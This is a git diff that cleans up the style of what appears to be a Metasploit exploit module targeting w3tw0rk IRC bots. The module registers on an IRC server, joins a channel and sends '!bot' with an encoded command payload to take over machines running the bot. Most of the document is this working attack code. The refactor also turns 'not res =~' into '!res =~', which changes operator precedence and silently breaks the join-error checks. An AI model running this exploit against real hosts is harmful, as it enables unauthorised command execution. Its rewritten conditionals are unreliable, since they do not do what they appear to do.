Clean up module
parent
2f8dc7fdab
commit
8106bcc320
|
@ -5,8 +5,8 @@
|
|||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'PayloadType' => 'cmd'
|
||||
}
|
||||
},
|
||||
'Targets' =>
|
||||
|
@ -59,13 +59,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
connect
|
||||
|
||||
res = register(sock)
|
||||
if res =~ /463/ or res =~ /464/
|
||||
if res =~ /463/ || res =~ /464/
|
||||
vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
res = join(sock)
|
||||
if not res =~ /353/ and not res =~ /366/
|
||||
if !res =~ /353/ && !res =~ /366/
|
||||
vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
@ -73,10 +73,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
quit(sock)
|
||||
disconnect
|
||||
|
||||
if res =~ /auth/ and res =~ /logged in/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
if res =~ /auth/ && res =~ /logged in/
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
data = ""
|
||||
begin
|
||||
read_data = sock.get_once(-1, 1)
|
||||
while not read_data.nil?
|
||||
while !read_data.nil?
|
||||
data << read_data
|
||||
read_data = sock.get_once(-1, 1)
|
||||
end
|
||||
|
@ -99,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def register(sock)
|
||||
msg = ""
|
||||
|
||||
if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?
|
||||
if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?
|
||||
msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
|
||||
end
|
||||
|
||||
|
@ -113,21 +113,18 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
msg << "NICK #{nick}\r\n"
|
||||
msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
|
||||
|
||||
res = send_msg(sock,msg)
|
||||
return res
|
||||
send_msg(sock,msg)
|
||||
end
|
||||
|
||||
def join(sock)
|
||||
join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
|
||||
res = send_msg(sock, join_msg)
|
||||
return res
|
||||
send_msg(sock, join_msg)
|
||||
end
|
||||
|
||||
def w3tw0rk_command(sock)
|
||||
encoded = payload.encoded
|
||||
command_msg = "PRIVMSG #{datastore['CHANNEL']} :!bot #{encoded}\r\n"
|
||||
res = send_msg(sock, command_msg)
|
||||
return res
|
||||
send_msg(sock, command_msg)
|
||||
end
|
||||
|
||||
def quit(sock)
|
||||
|
@ -140,14 +137,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
|
||||
res = register(sock)
|
||||
if res =~ /463/ or res =~ /464/
|
||||
if res =~ /463/ || res =~ /464/
|
||||
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
|
||||
res = join(sock)
|
||||
if not res =~ /353/ and not res =~ /366/
|
||||
if !res =~ /353/ && !res =~ /366/
|
||||
print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
|
||||
return
|
||||
end
|
||||
|
@ -158,4 +155,5 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
quit(sock)
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue